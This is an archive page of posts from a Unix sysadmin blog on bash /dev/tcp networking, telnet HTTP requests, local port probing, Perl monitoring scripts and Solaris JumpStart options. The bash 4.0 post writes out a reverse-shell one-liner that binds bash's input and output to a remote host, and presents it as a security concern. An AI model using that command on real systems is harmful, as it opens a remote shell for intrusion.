Showing posts with label http. Show all posts
Showing posts with label http. Show all posts

Thursday, February 12, 2009

When Features Attack: Bash Version 4.0.0(1)-rc1

How do?,

Before we get started today, I just wanted to reflect on our posts' introductions. Usually it's "Hey there," or something to that effect. Being one of those people who are bothered by redundancy (at least, after the 50th time ;) this is the one part of blog posting I find the most grating. And, since everything reminds me of a George Carlin quote, I think he put it pretty well in this little paragraph about saying goodbye to your fellow man (from "Napalm And Silly Putty"):

Then have you noticed this, you get in a rut with the way you say goodbye. You ever find yourself using the same phrase over and over again with everybody, you feel a little stupid. Like if you're leavin' a party, and you have to say goodbye to five people, you say, "OK, hey take it easy, OK, hey take it easy, OK, hey take it easy..", you feel like a goddamn moron, ya know? So you know what I do? Every month, I change the way I say goodbye. Whether I need to or not, every month I start using a different phrase. People notice that. They appreciate that extra effort. They'll say to me, "Pardon me, didn't you used to say, 'OK, hey take it easy'". I say, "Yes I did. but not anymore." Now I say "Farewell". Farewell 'til we meet again, Peace be with you. May the forces of evil become confused on the way to your house. That's a strong one, isn't it? People will remember you if you talk like that. Then sometimes you can combine certain ways to say goodbye that don't really seem to go together, like, "Toodle-oo, go with God, and don't take any wooden nickels." Then people don't know what the fuck you're talking about! Or you can say goodbye in a realistic manner. "So long Steve, don't let self-doubt interfere with plans to improve your life." Well, some people need practical advice.


Anyway, that being said, my options are somewhat limited, since I'm old enough to feel silly saying (or writing) things like "Word," or "What's the haps?" The first one is slang that just doesn't belong to my generation. I might find it amusing, but, at the same time, it seems like it might be confusing or taken the wrong way. The second one seems to have come around within the last year or so and, despite its down-home flavour and growing presence, I've yet to meet anyone who's actually ever said it and, to be quite honest, whenever I read that greeting in an email I mentally envision a middle-aged white man tragically out of touch with the youth culture of today and, also tragically, clamoring out in a weak last-ditch effort to stay hip. I pretty much understand everything most kids say to each other, but I've never felt the need to incorporate any of it into my own dialogue. The only exception is if I'm being sarcastic, which the kids pick up on immediately. They're not stupid and they can smell desperation. I would imagine that they (as I did when I was younger) look to the adults among them for some sense of normalcy, even in the form of language. As a parent, I don't discourage my kids from "fitting in," but I do try to provide a point of reference for them so they can go out into the world and speak intelligently to the older people that will be signing their paychecks (unless they're paying themselves, in which case they're either incredibly successful or possibly schizophrenic ;) Anyway, that being said (damn it! ...redundancy again ;), let's get on with this post. I'm getting farther and farther off-topic. It's a good thing I'm not getting paid for this ;)

On-topic (although this post is much less interesting than the Fox special where the latest build of bash mauls one of its handlers on film ;) I finally found some time and compiled version 4.0.0(1)-rc1 which, I believe, is the latest release out there right now (I could very well be wrong, as I completely missed 4.0-beta2). One of the first things I noticed when looking at the configurable options is that the ability to access the network via Bash's /dev/tcp networking functionality is now an actual option ( --enable-net-redirections ) to configure. When I saw this, I thought two things:

1. Although this used to be enabled by default (which sparked some controversy) , now you have to specifically add it when you build. Of course, conversely, you can specifically exclude it, as before, which leads to the next point...

2. With regards to disabling the net redirection feature, I'm curious if it's a more secure implementation or if it's just being "recognized." Part of me figures that security issues will probably continue to exist with this feature, or it wouldn't be disabled by default. This way, anyone who wants to compile on their own, isn't aware of any of the security risks, and just does a robotic-build (./configure;make;make install - or, and I can't be certain of this, installs the default-build rpm, dpkg, pkg, etc) won't be vulnerable. I've seen a lot of debate on the blogs and boards about whether or not bash's implementation of net redirects is, in fact, a real security risk. For instance, labs.neohapsis.com has this nice online tutorial on how to connect back to the shell using bash net redirects. If you don't want to hop over there, I tested this with net redirects built into bash 4.0.0(1)-rc1 and it still works:

host # exec /usr/local/bin/bash 0</dev/tcp/host/514 1>&0 2>&0

HAPPY NOTE: If you're stuck with any bash version (or pre-compiled OS package), you can still - for the most part - disable bash's net redirect functionality (except in the case of the root user and/or anyone with equal system privilege) in, probably, more than one way. Check out our old post on securing /dev/tcp and /dev/udp if your OS allows you to set extended file access control lists. Restricting the permissions on /dev/tcp and /dev/udp to that extent doesn't actually remedy the underlying situation, but it does make it a lot harder to exploit.

I've included a combo-script (built from various older ones we've posted before) so that you can test your system/OS's behaviour when implementing this functionality with the latest version of bash. I'll probably be goofing around with this a lot in the near future ( although I promise not to bother you with every boring detail ;), as it could make some of our older bash scripts much tighter and outside-software-independent if it proves out.

Farewell 'til we meet again, Peace be with you. May the forces of evil become confused on the way to your house ;)

P.S. In the pictured output below, I used "www.tinyurl.com" for the httpserver variable so it would get the 301 redirect and you'd be able to see all the output from the script. If you run this script against "tinyurl.com" you'll get back the entire page, which runs a bit long)

Click on the picture below for the fun-sized version ;)

Output from bash net redirect script

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash
#
# httpg11
#
# 2009 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

#
# Just edit these to your preferences -
# $domain should just be the domain.com part of your $mailserver address
#

mailserver="mail.domain.com"
domain="domain.com"
httpserver="www.tinyurl.com"

echo "Testing mail server functionality"
exec 9<>/dev/tcp/$mailserver/25
read -r server_version <&9
echo "Server reports it is: $server_version"
echo "HELO $domain" >&9
read -r greeting <&9
echo "Server responded to our hello with: $greeting"
echo "VRFY username" >&9
read -r vrfy_ok <&9
echo "Server indicates that this is how it feels about the VRFY command: $vrfy_ok"
echo "quit" >&9
read -r salutation <&9
echo "Server signed off with: $salutation"
echo "Dumping any remaining data in the file descriptor"
cat <&9 2>&1
echo "Closing input and output channels for the file descriptor"
9>&-
9<&-
echo "--------------------------------------------------"
echo "Testing web server functionality - Here it comes..."
exec 9<>/dev/tcp/$httpserver/80
echo "GET / HTTP/1.1" >&9
echo "Host: $httpserver" >&9
echo "Connection: close" >&9
echo "" >&9
while read line
do
echo "$line"
done <&9
echo "Dumping any remaining data in the file descriptor"
cat <&9 2>&1
echo "Closing input and output channels for the file descriptor"
9>&-
9<&-
echo "done"


, Mike




Discover the Free Ebook that shows you how to make 100% commissions on ClickBank!



Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Tuesday, December 9, 2008

Unix And Linux PDF Telnet Curiosity - When HTTP Error Pages Don't Attack!

Hey There,

For this post, I spent a bunch of time goofing around with Telnetting to port 80 to try and force the binary modes (-8, -L), and some combination of those and the "no-escape" clause (...I mean, flag ;) and encountered terrible frustration. As odd as it may seem, downloading binary files from servers that won't serve anything but ASCII over Telnet can make it very hard to get the original product back (I've got a few half-done and I'm convinced that it's all very sensible and, if I find all the places I need to pad the 8th bit, with a ^M - or null bit -, this will all work out). Once I get done doing the grunt work, it should be easy to script. Knock three times on wood...

Just as a for instance, here's a chunk of the regular binary PDF:

%PDF-1.5^M

and here's a chunk of the telnet-to-port-80 ASCII version of the same file:

%PDF-1.5

Now, the PDF specification says, very strictly, that the PDF begins with the tag %PDF-VersionNumber and ends with %%EOF. Simple enough. It's those darn eighth bits that muck everything up. Again, as above, you can try any combination of the appropriate flags to try and force binary Telnet and ignore escapes. The escape-ignoring works just fine, but, unfortunately, the other host has to accept your request to do a binary Telnet transfer and that's were you get screwed. Until you figure out how to massage the output and pad all the necessary bits. I have a feeling this will all work out better when I use Octal Dump (od) to parse the received file. If you're curious, check our previous post on converting between octal and ASCII with Perl.

Anyway, to wrap up, here's one of the nicest little error messages I've ever come across. I got it when I accidentally ran the following code:

(echo "GET /pdf/Mailing-Lists/FreeBSD/current/2006-03/index.html HTTP/1.1";echo "Host: unix.derkeiler.com";echo;sleep 2)|telnet unix.derkeiler.com 80 |sed -e '1,/^[ \t]*$/d'

instead of using the path to the specific PDF file. Here's the link to the actual java-scripted version of the error page, which is much funnier, as the text comes out at a pace that indicates truly deep sorrow.

Hope you enjoy it. Yay. Errors are FUN again ;)

Cheers,



"I am so sorry, but I can't find the Page you've requested.",
"It's possible that you entered the address incorrectly.",
"If you did enter the address correctly, then it must be my fault.",
"I am really, really sorry, but I've tried everything I know to find it.",
"Nothing helped.",
"I am really depressed about this.",
"You see, I'm just a web server...",
"...here I am, brain the size of the universe, trying to serve you a simple web page...",
"And then it doesn't even exist!",
"Where does that leave me?!",
"I mean, I don't even know you.",
"How should I know what you wanted from me?",
"You honestly think I can 'guess' what someone I don't even 'know' wants to find here?",
"",
"Maybe I should introduce myself... my name is Marvin.",
"But then again, what is the use of intruducing myself?",
"You can't tell me your name, because you are in some far off place, sitting in front of your computer.",
"And that makes me feel lonely.",
"Do you know what that is like?",
"",
"...sigh...",
"",
"Man, I am so depressed I could just cry.",
"And then where would we be, I ask you?",
"It's not pretty when a web server cries.",
"And where do you get off telling me what to show anyway?",
"I'm just a web server...",
"...and possibly a manic depressive one at that...",
"So why does that give you the right to tell me what to do?",
"Huh?",
"",
"I am so depressed...",
"I think I'll crawl off into the trash can and decompose.",
"I mean, I'm gonna be obsolete in what, two weeks anyway?",
"What kind of a life is that?",
"Two effing weeks...",
"...and then I'll be replaced by a .01 release, that thinks it's God's gift to web servers,",
"just because it doesn't have some tiddly little security hole with its HTTP POST implementation,",
"or something like that.",
"",
"I'm really sorry to burden you with all this,",
"I mean, it's not your job to listen to my problems,",
"and I guess it is my job to go and fetch web pages for you.",
"But I couldn't get this one.",
"I am so sorry.",
"Believe me!",
"",
"Maybe I could interest you in another page?",
"There are a lot out there that are pretty neat, they say,",
"although none of them were put on 'my' server, of course.",
"Figures, huh?",
"That makes me depressed too, since I have to serve them, all day and all night long.",
"Two weeks of information overload, and then *pffftt*, consigned to the trash.",
"Again I ask you, what kind of a life is that?",
"",
"Now, please let me sulk alone.",
"",
"",
"",
"",
"I am so depressed.",
"",
"",
"",
"",
"",
"",
"",
"<connection terminated>"




, Mike




Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Friday, November 7, 2008

Script To Blind Test Local Ports On Linux And Unix

Hey there,

It's been a while since we touched on network port-knocking, like we did back in December in our post on non-maliciously scanning for open network ports. And, in all that time, we've gotten sidetracked so many different ways we're just now getting around to addressing the complement to mass-querying network ports on other hosts in our network (hosts run by folks who, of course, don't mind if we query all of their machine's ports :) Today, we're going to take a look at simply and quickly getting as much dirty information about open ports on your own localhost as possible (By localhost, we mean, the server you're currently logged into and by dirty, we mean "not necessarily useful, but, probably, interesting and, maybe, useful" ;)

This intro-to-the-weekend script is pretty short and sweet. It doesn't require that you be able to do anything other than execute it (and run telnet) on your local system (from it, directly to it, which shouldn't be a security concern) and also doesn't accept any arguments (Technically, it will accept them. Then it will passively ignore them :) It can be run very simply from the command line as:

host # ./porttest.sh <-- Or whatever you decide to rename it

We've elected to have our port scan start at 80 (The traditional http server port) and grab every other (higher) listening port on the localhost and query all of them, as if they were http servers, by sending a simple HTTP/1.0 GET request. As a blanket request to any number of known, and unknown, ports, it's not always the best way to interrogate, but it does get lots of useful information from any sort of web server and a few other sorts of servers as well. The only thing you have to settle down and be comfortable with is the fact that, a lot of the time, you can find out just as much about what's running on a particular port by reading the error message you receive from a bogus query as you can from reading the result of a successful one.

As a "for instance," here's one such error message we received on a trial run:

Testing 127.0.0.1 on port 32848... HTTP/1.1 404 Not Found
server: BBC 05.20.050; com.hp.ov.ctrl.ovcd 1.5.0.0
Connection closed by foreign host.


Even though the HTTP/1.0 GET request failed, we got enough information from the service resident on that port to figure out that it is, in fact, HP OpenView!

Have fun with this one, but please quit using it if your boss, or a member of your security team, complains. It might be fun, but it's not that much fun ;)

Cheers,


Creative Commons License

This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/bin/bash
#
# porttest.sh - Test those ports. This is not a drill ;)
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
#
hostname=`hostname`
netstat -an|awk '{ if ( $NF ~ /LISTEN/ ) print $4}'|awk -F":" '{ if ( NF == 2 ) print $1 " " $2}'|while read ip port
do
if [ $ip = "0.0.0.0" ]
then
ip="$hostname"
fi
if [ $port -gt 79 ]
then
echo -n "Testing $ip on port $port... "
(echo "GET / HTTP/1.0";echo;sleep 3)|telnet $ip $port|egrep -i 'server|http'
echo
else
echo "skipping port $port"
echo
fi
done


, Mike




Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Thursday, April 17, 2008

More Fun With Bash Networking

Greetings,

You may recall a post we did about a week or so ago on accessing the network directly with bash. Today's post is a bit of a follow up to that introduction, with some tips and clarification added for clarity and/or enjoyment ;)

1. The basic setup (this will be the only part revisited from our original post on bash networking. In order to get any of this started, you'll need to exec a file descriptor in bash. The file descriptor can, theoretically, be any number, but you should avoid 0, 1 and 2, as these are generally reserved by most Unix or Linux shells for standard input, standard output and standard error I/O. To exploit bash's "virtual" /dev/tcp filesystem (note that you can use /dev/udp as well; it just depends what you're planning on doing - if you wanted to interact with an old NIS server, you might "need" to use the udp protocol), the setup is simple enough. Assuming we wanted to use file descriptor 9 to hit a google web server on port 80, this is what we'd type on the command line:

host # exec 9<>/dev/tcp/www.google.com/80 <--- We've now connected to www.google.com.

2. The rest of it depends on what you want to do. The most basic operation would be to send information to the new file descriptor, read information from it and close it. Those three things can be done like this:

host # echo -e "GET /search?q=linux+unix+menagerie HTTP/1.0\n\n" >&9 <--- And now, we've requested a search page
host # while read line <&9
do
echo -n $line >&1
done
<--- Now, we read the HTML page that gets returned.
host # exec 9<&- <--- This closes the standard input for our new file descriptor
host # exec 9>&- <--- and this closes the standard output

3. Using HTTP 1.1 instead of 1.0. This is actually quite easily done (and you can do it through Telnet to port 80 on any given host, as well. Telnet will allow you to connect to any specified port on a host and interact with it. You just need to know what to type ;). It just requires a bit more typing on our part. Assuming we have the initial file descriptor set up, per step 1, we would do this to initiate an HTTP 1.1 connection and read from it.

host # echo -e "GET /search?q=linux+unix+menagerie HTTP/1.1" >&9 <--- Note the lack of the double carriage return. This isn't absolutely necessary, but if those returns are typed, they obviate the next line.
host # echo -e "Host: www.google.com\nConnection: close\n" >&9 <--- This line tells HTTP/1.1 that we want to close the connection once our query, or page request, completes. HTTP 1.1 will keep the connection open until it times out unless you do this, while HTTP 1.0 will close it immediately after you send one request.

And then you can go ahead and read the response and close the file descriptors in the same manner as above.

4. Implementing host headers. You may find that more and more web servers require "host headers" when you send them an HTTP 1.1 request. These, technically are only required for virtual hosting, but it's becoming more and more common for out-of-the-box webservers to run the main server as a virtual host. It's easy to send a request to our file descriptor in this manner, as well. We just need to modify it slightly.

host # echo -e "GET /search?q=linux+unix+menagerie HTTP/1.1\nhost: http://www.google.com\n\n" >&9

5. Sending a POST request rather than the standard GET. This again, is just a modification on the main method. All you need to tell the server is that you're performing a POST action and send it the POST data (This is basically how the folks in security check to see if they can mess with your cgi forms):

host # echo -e "POST /search?q=linux+unix+menagerie HTTP/1.1\n\nHere Are All My POST Variable=Value Pairs" >&9

6. Ignoring the header information when requesting an HTML page using bash networking through file descriptors. This is kind of "voodoo," but is almost 100% guaranteed to work. The first blank line you encounter when you read your response to the query you send to a web server is (almost) always the end of the header section. The header section includes varying information on web server type, version, age, etc, but isn't worth reading if you just want the web page back. You can avoid looking at it by running this after you make the initial GET request:

host # while read <&9
do
line=${response//$'\r'/}
if [ -z "$line" ]
then
break
fi
done


And then you can move on and continue reading from the file descriptor, and closing it, just like in step 2:

host # while read response <&9
do
echo -n $response >&1
done
exec 9<&-
exec 9>&-


7. What you get if you settle. Interestingly enough, bash's "virtual" tcp (or udp) filesystem defaults to connecting to a webserver. If you simply exec a new file descriptor without any arguments, the "virtual" /dev/tcp, and /dev/udp, file system is still created. It defaults to port 80 and the tcp protocol. In fact, the virtual file system "always" exists. Why? Because your shell automatically opens file descriptors 0, 1 and 2 when it initializes. So, basically, when you login, you've already got a path to the net :) How to use it meaningfully is another thing entirely, but you can do this right out of the gate, just after logging in:

host # echo -n "GET / HTTP/1.0\n\n" >/dev/tcp/www.google.com/80

although, thankfully, it doesn't work all that simply and involves serious risk.

Exec'ing an additional file descriptor is a better practice when doing this sort of thing, because you don't want to muck with the 3 basic ones. If you make a mistake on file descriptor 9, for example, it's no big deal if it gets disconnected or something else weird happens to it. If file descriptor 0 get whacked, you won't be able to type to the terminal, and if file descriptors 1 or 2 get destroyed, you won't be able to see some, or all, of the output the shell is sending to your terminal. In either case, you risk losing your connection to your terminal session entirely.

Again, you can use bash's "virtual" networking to connect to any port that already has a service listening on it. Unfortunately, as far as I know, at this time, there is no way to "initiate" (or bind to) a network port using this method and the bash shell (or any Unix or Linux shell, for that matter). If it ever becomes possible, I'll be sure to post about it, because it will open up a whole new can of worms for all of us ;)

Again, if you would like further basic explanation (and a sample script) regarding setting up bash's "virtual" network connections, see our previous post on bash file descriptor networking.

Cheers, and enjoy!

, Mike




Friday, March 21, 2008

Checking Whether Your Web Server Is Up Using Perl Sockets Programming

Hello again,

Today's entry harkens back to a post we did a while ago regarding checking your network status using CGI. Although the Perl script we're going to run through today is somewhat similar, there are more than a few notable differences.

This Perl script should be able to be run on pretty much any flavor of Linux or Unix that supports Perl and simple Berkeley Sockets. It's also meant to be run out of cron, so that you can keep Web Server error reports (or, hopefully, a lack thereof) coming on a dependable basis. This script doesn't rely on anything in the *nix "environment" that should make it fail, so a simple entry in your crontab, like:

0,30 * * * * /wherever/you/keep/this/wsMonitor.pl

should check your Web Server every 30 minutes.

Another way you can do this (which is explored in more detail in our previous post on alternatives to using the nohup command) is to run the command (either from an init script or straight from the command line) in a backgrounded subshell, with slight wrapper script around the code, like so:

---> Sample Wrapper Shell Code <---

#!/bin/sh

while :
do
/wherever/you/keep/this/wsMonitor.pl
sleep 1800
done

---> End Sample Wrapper Shell Code <---

and then kick it off with a command line similar to this (again, either from an init script or directly from your shell prompt):

host # (/full/path/to/your/wrapper_script.sh &)

Okay, now back to the Perl script itself ;) You'll note that it works very simply by sending a string (whatever you want it to be - Maybe something meaningful, like "This is just us testing," to make it easy to keep out of your Web Server access reporting) to your Web Server and sending out an email if the Web Server doesn't respond. Note that this Perl script doesn't care what kind of response it gets, since it's not sending a valid HTTP request; it only checks to make sure that the Web Server is receiving the same amount of characters we send it in our test string. It will also send a slightly different mail message if it can't open the port at all.

I've commented on each line for all the stuff you might need (or want) to modify. Hopefully this script finds you, and your Web Server, well :)

Best wishes,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

# wsMonitor.pl - Make Sure Our Web Server Is Answering On Port 80
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

use Socket;
require 5.002;

$mailer = "/usr/lib/sendmail"; # Your path to your local mail program
$remote = "webserver.xyz.com"; # Whatever host you want to check
$port = 80; # You can also check any other port, since we aren't looking for a particular response
if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }
&mail_out unless $port;
$iaddr = inet_aton($remote);
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');
socket(BINGER, PF_INET, SOCK_STREAM, $proto) or &fail_mail;
connect(BINGER, $paddr) or &fail_mail;
$hey = send(BINGER, "TESTING TESTING 1 2 3", 21) or &fail_mail; # Note: Change the number after your message to the amount of characters being sent in between the quotes preceding it.
# In this case "TESTING TESTING 1 2 3" comes out to 21 characters, including the whitespace
exit;

sub fail_mail {

open (MAIL, "| $mailer -t") || die "Can't Open $mailer: $!\n";
print MAIL "To: interested_party\@xyz.com\n";
print MAIL "From: socketWatch\@monitorhost\n";
print MAIL "Subject: Possible problem with $remote!!!\n";
print MAIL "------------------------\n";
print MAIL "$remote incomplete Socket transmission:\n";
print MAIL "Returned $hey from 21...\n"; # Note that this 21 is the same as the 21 referenced in the socket send command above
close (MAIL);
exit;
}

sub mail_out {

open (MAIL, "| $mailer -t") || die "Can't Open $mailer: $!\n";
print MAIL "To: interested_parties\@pager.xyz.com\n";
print MAIL "From: socketWatch\@$remote\n";
print MAIL "Subject: Possible problem with $remote!!!\n";
print MAIL "------------------------\n";
print MAIL "$remote may be down: $!\n";
close (MAIL);
exit;
}


, Mike




Thursday, February 14, 2008

Extended Options For Solaris' Jumpstart Boot

Hey There,

Most Solaris Admins are familiar with the basic procedure for kicking off a JumpStart installation. Bare bones, it's usually getting down to the PROM and executing one of either:

ok> boot cdrom - install

or

ok> boot net - install

There are, however, quite a few more options you can throw at even the older Solaris boot PROMs to kick off your JumpStart the way you like. Note that in the below examples, the "|" character is used to indicate an either-or option.

For instance, you can boot directly off of the local hard disk with this option:

file://jumpstartDirectory/compressedConfigurationFile

or from an NFS server, like so:

nfs://serverName|IP/jumpstartDirectory/compressedConfigurationFile

Even an http server:

http://serverName|IP/jumpstartDirectory/compressedConfigurationFile

To flesh out the above examples to a certain degree, these would the type of commands you would type at the PROM ok> prompt:

ok> boot cdrom - install file://jumpstartDirectory/compressedConfigurationFile
ok> boot net - install nfs://serverName/jumpstartDirectory/compressedConfigurationFile
etc...


In certain modes, you will boot from a tar file on your JumpStart server. Just make sure you've placed your sysidcfg inside your tar ball and try this:

ok> boot net - install http://192.168.0.1/jumpstart/config.tar

And, if you use an http server, you don't even need to go through all the hassle we explored in a past post about using JumpStart across multiple subnets, because you can add the "proxy" option to that argument (much like our workaround for JumpStart across subnets, you need to specify the IP address of the proxy, and not the hostname), like so:

ok> boot net - install http://xyz.com/jumpstart/config.tar&proxy=192.168.0.0.1

Hopefully, some of this trivia will prove useful to you at some point. Now there should be almost no way you can get out of having to JumpStart that new server ;)

Cheers,

, Mike




Wednesday, January 2, 2008

A Simple CGI Script To Check Network Hosts' Status

Today, I thought I'd put out another script that might be helpful to at least a few of us out there. As you may recall, in an earlier post we went over a script that checked network hosts' ports non-maliciously. This is a combination of that with a little something extra.

Okay, there are a few extra elements here. The main function of the script is to check that all the servers in the @hostnames array are up and running. This is done as simply as possible, using ping. The second thing it checks is that FTP is up and running on all hosts (We're assuming that you're running this from a box on your network that has access - through firewalls, router acl's and whatnot - to all of the servers listed). Thirdly, it looks at a subset of servers that you define within the script, and tries to determine if HTTP is up and running.

This script is slightly more complicated than the other, as it uses the Perl Socket and CGI modules and also makes use of signal handling (Touched on in more detail in this previous post. Finally, we do some while loop tagging to control the flow.

Of course, this script can be modified easily to include other system checks. I wrote this to get a quick feel for the health of the network and get an easy read on any problems at whatever time I chose to open the page in my web browser.

Hopefully, you'll find this useful. I've commented the script near all the parts that can/should be edited (IN CAPITALS FOR EASE OF VIEWING). Otherwise, it's pretty much self explanatory.

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# whatup.cgi - 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

use CGI;
use Socket;
require 5.002;

# FILL THIS ARRAY WITH ALL THE HOSTNAMES YOU WANT TO MONITOR

@hostnames = qw(host1 host2 host3 hosta hostb hostc hostn);

foreach $pingable_host (@hostnames) {
$answer=`/usr/sbin/ping $pingable_host 1 1`;
if ( $answer=~ /alive/ ) {
$is_it_up_or_not[$a] = 1;
$a++;
} else {
$is_it_up_or_not[$a] = 0;
$a++;
}
}

use CGI;

$whatup_cgi = new CGI;
@ports = qw(21 80);
$date = `date`;

print $whatup_cgi->header();
print "<html><head><meta HTTP-EQUIV=\"REFRESH\" CONTENT=\"300; URL=/whatup.cgi\"><title>What's Up?</title></head>\n";
print "<body BGCOLOR=\"#000000\" TEXT=\"#00FF00\" LINK=\"#FFFF00\" VLINK=\"#FF0000\" ALINK=\"#BECD8C\">\n";
print "<p>\n";
print "<br><hr><br>\n";
print "<p>\n";
print "<center><FONT COLOR=\"#FF0000\"><H3>Your Immediate Guide to What's Up On Our Network!</h3></FONT></center>\n";
print "<center><FONT COLOR=\"#BECD8C\"><H4>$date</h4></FONT></center>\n";
print "<p>\n";
print "<br><hr><br>\n";
print "<p>\n";

$b=0;
$c=0;

$SIG{'ALRM'} = 'next_goround';
OUTER: foreach $host (@hostnames) {
if ( $is_it_up_or_not[$b] ) {
print "<hr>\n";
print "<h3><font color=\"#BECD8C\">$host is Up!</font></h3>";
} else {
print "<hr>\n";
print "<h3><font color=\"#FF0000\">$host is Down!</font></h3>";
}
print "<ul>";
$CONNECTION_PORT = "NEXT_UP_IS${c}SOCK";

# IN THE BELOW IF STATEMENT, USE REGULAR EXPRESSIONS TO MATCH ALL HOST NAMES
# THAT YOU WANT TO BE CHECKED FOR HTTP. ALL HOSTS ARE CHECKED FOR FTP

if ( $host=~ /host[1-3]/ || $host=~ /host[ab]/ ) {
foreach $portno (@ports) {
$port = $portno;
if ($port =~ /\D/) {
$port = getservbyname($port, 'tcp');
}
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');
socket($CONNECTION_PORT, PF_INET, SOCK_STREAM, $proto);
if ( $is_it_up_or_not[$b] ) {
connect($CONNECTION_PORT, $paddr) unless alarm 10;
if ( $success_or_failure ) {
next;
}
alarm 0;
}
if ($port == 21 && ! $success_or_failure ) {
$portname = "FTP";
if ( $is_it_up_or_not[$b] ) {
$create_socket = send($CONNECTION_PORT, "user anonymous username\@xyz.com", 40) unless alarm 10;
alarm 0;
}
} else {
$portname = "HTTP";
if ( $is_it_up_or_not[$b] ) {
$create_socket = send($CONNECTION_PORT, "GET /index.html HTTP/1.0", 40) unless alarm 10;
alarm 0;
}
}
close($CONNECTION_PORT);
if ( ! $is_it_up_or_not[$b] && ! $success_or_failure ) {
print "<li><h3><font color=\"#FF0000\">$portname is Down!</h3></font></ul>";
$b++;
next OUTER;
}
if ($create_socket) {
print "<li><h3><font color=\#FFFF00\">$portname is Up!</h3></font>";
} else {
print "<li><h3><font color=\"#FF0000\">$portname is Down!</h3></font>";
}
$c++;
$success_or_failure = 0;
}
print "</ul>\n";
} else {
$port = 21;
if ($port =~ /\D/) {
$port = getservbyname($port, 'tcp');
}
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
$proto = getprotobyname('tcp');
socket($CONNECTION_PORT, PF_INET, SOCK_STREAM, $proto);
if ( $is_it_up_or_not[$b] ) {
connect($CONNECTION_PORT, $paddr) unless alarm 10;
alarm 0;
}
if ( $is_it_up_or_not[$b] && ! $success_or_failure ) {
$create_socket = send($CONNECTION_PORT, "user anonymous username\@xyz.com", 40) unless alarm 10;
alarm 0;
}
$portname = "FTP";
close($CONNECTION_PORT);
if ( ! $is_it_up_or_not[$b] && ! $success_or_failure ) {
print "<li><h3><font color=\"#FF0000\">$portname is Down!</h3></font></ul>";
$b++;
next OUTER;
}
if ($create_socket) {
print "<li><h3><FONT COLOR=\"#FFFF00\">$portname is Up!</h3></font>";
} else {
print "<li><h3><font color=\"#FF0000\">$portname is Down!</h3></font>";
}
print "</ul>\n";
$c++;
$success_or_failure = 0;
}
$b++;
}

$whatup_cgi->end_html();

sub next_goround {

close($CONNECTION_PORT);
return $success_or_failure = 1;
}


, Mike